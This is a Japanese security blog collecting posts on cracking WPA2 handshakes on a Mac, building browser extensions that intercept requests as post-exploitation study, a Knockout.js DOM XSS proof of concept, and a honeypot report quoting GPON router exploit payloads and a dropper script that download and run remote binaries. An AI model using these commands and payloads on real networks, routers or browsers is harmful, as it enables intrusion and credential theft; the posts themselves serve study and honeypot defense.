Wireless Hackでよくある4 way handshake sniffingの話(それ、Macbookでもできるよ)

tl;dr

  • 無線のセキュリティを考えるときに触ることになるWireless Hackingの入門(4-way handshake sniffing)
  • 本とかブログとか読んで「えぇ...Wireless Hacking用にアダプタ用意しなきゃいけないの?」とか「アダプタどれならええんや...」とか「アダプタ買ったけど良いけど対応してるドライバどれだよ」とかで疲れ気味な人向け
  • それ、Macbook 1 台でできるよ
  • 「Hak5のWifi Pineappleサイコー」だとか「今度のBlackHatにもPineappleおじさん出没するのかな」とかいった危ない上級者の方はどうぞお帰りください. (USB Rubber Duckyって日本で引っかかる人いるのかな...ガワを変えれば刺しちゃうかな?)

注意事項

  • あくまで実験の一環です. 悪用厳禁.
  • 実際に企業さんとかカフェとか, 自身の管理下にないAPに対して行うときは誓約書とか用意してしっかり契約結んでください.

内容

  • Setup
    • airport(標準コマンド)
    • JamWifi(App)
    • tcpdump(コマンド - brewとかからインストール...かな?いらないかも)
    • mergecap(コマンド - brewから)
    • aircrack-ng or hashcat(コマンド - brewから)
  • KaliLinuxでやってるsniff and crack WPA/WPA2 4-way handshakeと同じ
    • Scan
    • Monitor
    • Deauth: 必要があれば
    • Sniff
    • Crack

Setup

  • airport
    macOS標準の無線周りに触るためのコマンド.
    ただしPathの箇所にはいない(はず、初めてさわった時はいなかった)のでalias or Pathのディレクトリにln -sしておくこと.
    ※個人的にはln -s推奨. のちほどsudoでの実行が必要になるので.
% which airport
airport: aliased to /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport
  • JamWifi
    Deauthするときに使うアプリ. 検証のときには特に必要ない.
    実際に攻撃が行われる場合, 攻撃対象APには大抵すでに接続端末があるので, Deauth packetsを送る > 再接続のときの4 way handshakeを捕まえる, という流れになる.
    攻撃を受ける側の動作としてみておくと吉.
    このブログを書いている時はちゃんと動いてくれていない(Scan時にBSSIDが取れていなかった)ので, 別のものも用意しておいた方が良さそう.
    Deauth packetを送るツールは他にもあるっぽいので要調査.

  • tcpdump
    言わずと知れたトラフィックダンプツール.
    入っているはず...入ってなかったらbrew install tcpdumpとかbrew install wiresharkとかでいけるはず(テキトー)

  • mergecap
    パケットのキャプチャファイルを結合するためのコマンド.
    Wireshark同梱.

brew install wireshark
  • aircrack-ng(or hashcat)
    hash crack tool. インストール.
brew install aircrack-ng

Attack(検証)

今回の対象はSSID「victim-a」. passwordは「nknskn-password」とします.

  • Scan
$ airport -s

f:id:news-nknskn:20190403004552p:plain BSSIDを確認. 74:03:bd:74:e0:d5
接続channelは100

  • 準備
$ export BSSID=74:03:bd:74:e0:d5
$ sudo airport -z # Wifi接続の切断
$ sudo airport -c100  # Channel設定
$ sudo airport -c # 設定状況の確認 
channel: 100
$ echo $BSSID
74:03:bd:74:e0:d5

f:id:news-nknskn:20190403005818p:plain

$ sudo tcpdump "type mgt subtype beacon and ether src $BSSID" -I -c 1 -i en0 -w beacon_`date +%s`.cap
tcpdump: listening on en0, link-type IEEE802_11_RADIO (802.11 plus radiotap header), capture size 262144 bytes
1 packet captured
40 packets received by filter
0 packets dropped by kernel

f:id:news-nknskn:20190403013427p:plain

$ sudo tcpdump "ether proto 0x888e and ether host $BSSID" -I -U -vvv -i en0 -w handshake_`date +%s`.cap
tcpdump: listening on en0, link-type IEEE802_11_RADIO (802.11 plus radiotap header), capture size 262144 bytes
^C4 packets captured
7322 packets received by filter
0 packets dropped by kernel

f:id:news-nknskn:20190403013439p:plain

  • Crack
    • Merge beacon packet and handshake packets
$ mergecap -a -F pcap -w capture.cap beacon_1554221349.cap handshake_1554221397.cap
  • aircrack-ng
$ aircrack-ng -w sample_word.lst capture.cap
...
KEY FOUND! [ nknskn-password ]

f:id:news-nknskn:20190403013215p:plain

コメント

  • 眠いのでひとまずここまで. なんかあればまた追記します.

Browser Extensionを書いてみる: Chrome - 2.バックグラウンドページからxhrでクロスドメインに通信を飛ばす

tl;dr

Browser Extension for Chromeの続き. XMLHttpRequest を使ってバックグラウンドページから通信を飛ばすサンプル. あくまで研究用で悪用厳禁. よく某赤いセキュリティベンダからプレスがでているmaliciousなBrowser Extensionはこんな感じの設定がされている,という資料程度にどうぞ. ※赤い会社と一切関係はありません

Code

Server

f:id:news-nknskn:20190312102823p:plain

Main point

  • manifest.json
    • "permissions": ["<all_urls>"] → クロスドメインに飛ばす場合必須
  • background.js
    • 特別な記述はなし. 普通のxhrとChrome APIの組み合わせ.

雑感

  • node.jsのngrokって軽くクロスドメインチェックする時はめっちゃ便利.
  • 以前のonBeforeRequest(Browser API) + xhrって組み合わせだとpermissionsのところに<all_urls>とwebRequestが出てくるのでそれだけでめっちゃぁゃしぃ

Browser Extensionを書いてみる: Firefox - 1.webRequestをコンソールログに出す

tl;dr

昨日のエントリの続きでFirefox版. 違うのはbackground.jsの中で少しだけ(後述).

Code

  • background.js

要点

  • Chromeと同様にmanifest.jsonとbackground.js中のBrowser APIが肝
    • manifest.json > Chromeと全く同じ設定なので説明は省略(Chrome版の方に追記あり)
    • background.js > APIの呼び方が異なるが基本的な動作イメージは仕様を見る限りChromeとほぼ同じ. APIを持ってるobjectがchromeからbrowserになっている程度.

参考

コメント

  • Firefoxでalertではなくconsole.logを使っているのはbackgroundページだとどうもalertを呼び出せない仕様らしい(エラーで怒られた).
  • ちなみにChromeだとconsole.logで出力できなかった. Chromeではconsoleを使うためにAPI(chrome.extension.getBackgroundPage())を叩かないといけないので, 極力最小コードにする目的に沿って叩かない方針で書いている.
  • 次はChrome or Firefoxで保存されているパスワードを触りにいくExtensionか(そもそもできるのか?), IE or Edgeで上記と同じことをするプラグインでも(IEやばそうだしクロスプラットフォームでもないので後回しかな).

Browser Extensionを書いてみる: Chrome - 1.webRequestをポップアップで出す

tl;dr

マルチプラットフォームのPost Exploitation的なsomethingのお勉強ってことで手始めにBrowser Extension for Chromeを書いてみた. alertしてるところの飛ばし先とかobfuscateとかいろいろ興味が尽きないけれどもその辺りはまあご随意に.

Code

  • background.js

要点

  • Chromeの場合(Firefoxでもそうだけど), manifest.jsonChrome APIが肝. 具体的にはこの辺.
    • manifest.json > "permissions": ["webRequest", "<all_urls>"]
      • (追記)manifets.jsonのpermissionsでExtensionが使用可能なAPIをほぼ確認できる. webRequestで<all_urls>なんて指定があったら「ブラウザが送信する任意のリクエストデータ」を触ることができる.
    • background.js > chrome.webRequest.onBeforeRequest
      • (追記)リクエストボディに触れるのはonBeforeRequestのみなので, (maliciousなExtensionと仮定して)読み込んでるjs中にonBeforeRequestが入っていたらほぼリクエストボディを読みに行こうと判断していいかもしれない.

参考

コメント

  • ツールバーアイコンは不要なので(Post Exploitationなら特に, 仕様でもPick one (or none)だし)出さない方針で作成.
  • インストール方法とかは考察中. pre-installedなExtensionとかuser installedなExtensionに突っ込めないのかなーと思って試してみたものの,ブラウザ側でちゃんとチェックしていてエラーに. profileいじってどうにかなるものなる...のか?(ならない気がするなぁ
  • 次はChromeに保存されてるパスワードへのアクセスとかFirefoxのExtensionでも.

XSS小ネタ(DOM based XSS - Knockout.js)

最近出会った, Knockout.jsでのDOM based XSSを紹介.

書いてあること

  1. XSSが発生するKnockout.jsを使用したHTMLソース(レスポンス)例
  2. PoC
  3. スクリプトが実行される流れ

前提知識

HTMLソース(レスポンス)例

  • input 1
inputtedaaaaa<'"%26>
  • output 1
(snipped)
<script src="./knockout-min.js"></script>
(snipped)
<span data-bind="text: 'Hello Knockout.js', style: {color: 'inputtedaaaaa&lt;&#39;&quot&&gt;'}"></span>
(snipped)
  • input 2
inputtedaaaaa,(;:)
  • output 2
(snipped)
<script src="./knockout-min.js"></script>
(snipped)
<span data-bind="text: 'Hello Knockout.js', style: {color: 'inputtedaaaaa,(;:)'}"></span>
(snipped)

お分かりいただけただろうか. ご覧の通りXSS可能.

PoC

  • input
blue'&alert(1),text:'
  • output
<span data-bind="text: 'Hello Knockout.js', style: {color: 'blue&#39;&alert(1),text:&#39;'}"></span>
  • HTML
<span data-bind="text: 'Hello Knockout.js', css: {color: 'blue'&alert(1),text:''}">Hello Knockout.js</span>

スクリプトが実行される流れ

  1. ブラウザの仕様であるHTMLアンエスケープ(&#39;が'としてJavaScriptエンジンに渡される)
  2. Knockout.jsが動いてalertが動作
    • ViewモデルにおいてJavaScriptオブジェクトが使用される, JavaScript式を指定可能

対策

コメントとか小話とか

  • BurpSuite 1.7.37, 2.0.X betaでのScanは(Info)Input returned in response (reflected).
  • 「これどう思います?」と質問されたのが見つけられた発端. その時にKnockout.jsの存在を知った(ライブラリ多すぎてツラい).
  • ようやくWebに慣れてきた気がする. 職人への道はまだまだ遠い.

MacでPowershellを動かしてみた

最近Powershellを叩いていることが増えたので普段使いのMacでも使いたくなった.
というわけで環境を用意した際のメモと所感.

目標

  1. Mac 上で Powershell を叩く
  2. 入力補完してくれるエディタをインストールする
  3. どこまで動かせるか確認

メモ

  1. Mac 上で Powershell を叩く
    公式のドキュメントを参照.
    Powershell は現状Github上に公開されていて, 動作環境として Windows はもちろんのこと, Linux, Mac までサポートしてくれている.
    今回インストールした環境には brew をインストールしてあったため, ドキュメントの brew を使った方法通りに進めて, インストールできた.
    f:id:news-nknskn:20180714103156p:plain
  2. 入力補完してくれるエディタをインストールする
    なにも考えず Visual Studio Code を使う(ダウンロード, Powershell拡張のインストール).
    普段使いは Atom だけど, Atom でしかできないことを最近やっていないのでいっそ VSC に移行してもいいのかもしれない, と思った.
    プラグインの数は Atom の方が多いので, いろいろと動きやすい環境を作るのは Atom の方がいいような気はしてる.
    Atom で language-powershell, atom-terminal-powershell, ide-powershell を試したものの, Key-binding がぶつかっているのかF5などで実行を確認できなかった(Visual Studio Code でサクッとできるし, もうそっちでいいんじゃないかって気になったので深く調べてない).
    f:id:news-nknskn:20180714102813p:plain
  3. どこまで動かせるか確認
    • PowerShell クックブックにあるもののいくつかを試して見た
    • 数値演算, 文字列連結(マルチバイト込み), パイプラインなど基本的な操作, ターミナル上での入力補完, オブジェクトへのアクセス($var.Countとか), .NETオブジェクトのプロパティへのアクセス($today = Get-Date; $today.DayOfYearとか) → 問題なく動作, .NET回りは基本的に触れそう(たぶんもっと突っ込んでいったときにコケそう)
      触った時の図はだいたいこんな感じ
      f:id:news-nknskn:20180728180532p:plain f:id:news-nknskn:20180728181025p:plain
    • pwsh 上で Mac のコマンド群(とりあえずbrew update) → 動いた, 呼んだshellをpwshがまた包んでいるんだろうか
    • WmiObject, ComObject → そんなものはない

所感

WmiObject, ComObjectは触りたい気持ちがあったので, 予想はしてたものの触れなくて残念な気持ち.
ただ今まではVisual Studio for Macで.NETを触っていたことを考えると, やはりshellから.NETオブジェクトに触れるのは嬉しい.

(Updated)GPON Home Routers(CVE-2018-10561/CVE-2018-10562) - In the wild - WOWHoneypot

TL;DR

2018年4月30日、GPON Home Routersに存在するRCEの脆弱性(CVE-2018-10561/CVE-2018-10562)が公表されていました。
日本時間2018/05/08 9:52:01(UTC+0900)より、さっそく運用中のハニーポット(WOWHoneypot in Singapol)でこの脆弱性を狙った通信を検知しました。
日本ではこの機器をお持ちの方は少数かと思われますが[3]、お持ちの方は利用されているISPにBug fixについてご確認いただくことを推奨します[1]

  1. Critical RCE Vulnerability Found in Over a Million GPON Home Routers | vpnMentor
  2. Critical RCE vulnerability found in over a million GPON Home RoutersSecurity Affairs
  3. GPON Home Routers – The Next Botnet? ※POCが公開されていることも確認しています。

Attack payloads

検知した通信は以下の通り、脆弱性の存在確認を行うものです。

POST /GponForm/diag_Form?images/ HTTP/1.1
Cache-Control: no-cache
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Host: ***.***.***.***:***
Content-Type: text/plain
Content-length: 119

(snip)wget;wget -qO - http://*.*.*.*/***.php?port=****(snip)

IPアドレスはurlscan.ioで確認したところ、IoCsに登録されているものでした。 https://urlscan.io/result/0f362b8f-d4da-4cb6-9f79-fb7e64d12d73/

wgetしている先のファイルは存在していなかったため(404 Not Found)、WOWHoneypotのルールには以下を登録しています。

<mrr>
  <meta>
    (snip)
  </meta>
  <trigger>
    <method>POST</method>
    <uri>/GponForm/diag_Form</uri>
    <body>wget -qO -</body>
  </trigger>
  <response>
    <status>200</status>
    <body filename="notfound.txt"></body>
  </response>
</mrr>

GPON Home Routersを持っていないため適切なレスポンスかどうかは不明ですが、ひとまずはこれで攻撃の傾向を見ていこうと思います。


11 May ,2018 Updated

10, Mayより異なるPayloadの通信を検知しました。 Payloadは以下の通り、攻撃の流れはshellscriptの実行~アーキテクチャごとのELFバイナリを実行するものです。

  • Payload
POST /GponForm/diag_Form?images/ HTTP/1.1
Host: ***.***.***.***:***
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Hello, World
Content-Length: 118

(snip)dest_host=``;wget+http://xxx.xxx.xxx.xxx/r+-O+->/tmp/r;sh+/tmp/r(snip)
  • shellscript
#!/bin/sh

n="arm mips mipsel arm7"
http_server="xxx.xxx.xxx.xxx"
#dirs="/tmp /var /dev/shm /dev"
dirs="/tmp"

for dir in $dirs
do
    >$dir/c && cd $dir
done

for i in $n
do
    cp $SHELL $i
    >$i
    wget http://$http_server/$i -O -> $i
    chmod 777 $i
done

実行ファイルの動作は未調査のため、一旦ここまでです。

(参考情報)

ファイル名 ハッシュ値(sha-256)
arm efa4fe06e4949c0f7aedea61a79da92e379ea66b169cd1d99c47b9e93e814093
arm7 1ff787d52bc9e4a6c27d75b1a427c3e5dd16d6d5f082a79227c14edf8e908ab2
mips bab7e9f42df88902acb00fbdf3b4b5d8ffec2a1a7ad32eb5f2fb1dbf38f3167d
mispel a79964ce5cf4b92f996bbc24230e102b94ef05fb072c0afdeabc88d28695cace

13 May ,2018 Updated

12, Mayよりまた異なるPayloadの通信を検知しました。 Payloadは以下の通り、busyboxwgetを用いたものです。 対象のファイルは存在せず(404 Not Found)、また仮にダウンロードに成功したとしてもファイルを実行するコマンドがpayload内にないことから、HTTPレスポンス確認による脆弱性の有無確認、もしくはwgetによるコマンド実行確認を期待しているものと考えられます。

  • Payload 1
POST /GponForm/diag_Form?images/ HTTP/1.1
Host: ***.***.***.***:***
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36
Content-Type: gzip, deflate
Accept: */*
Content-Length: 112

XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://*.*.*.*/$(uname+-m)`&ipv=0
  • Payload 2
POST /GponForm/diag_Form?images/ HTTP/1.1
Host: ***.***.***.***:***
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36
Content-Type: gzip, deflate
Accept: */*
Content-Length: 103

XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://*.*.*.*/80`&ipv=0

特にPayload 1, 2をカバーするため、以下のルールを加えました。

※上記ルール内wget -qO -をwgetとしても良いかもしれませんが、今後のPayloadで攻撃者が求めるレスポンスに細かい差が出てきた際、変更を加えやすいよう分けてみています。

※Payload 1 に関してはハニーポットクライアントから$(uname -m)なpathのwget通信を発生させる必要があります。

<mrr>
  <meta>
    (snip)
  </meta>
  <trigger>
    <method>POST</method>
    <uri>/GponForm/diag_Form</uri>
    <body>busybox+wget+http</body>
  </trigger>
  <response>
    <status>200</status>
    <body filename="notfound.txt"></body>
  </response>
</mrr>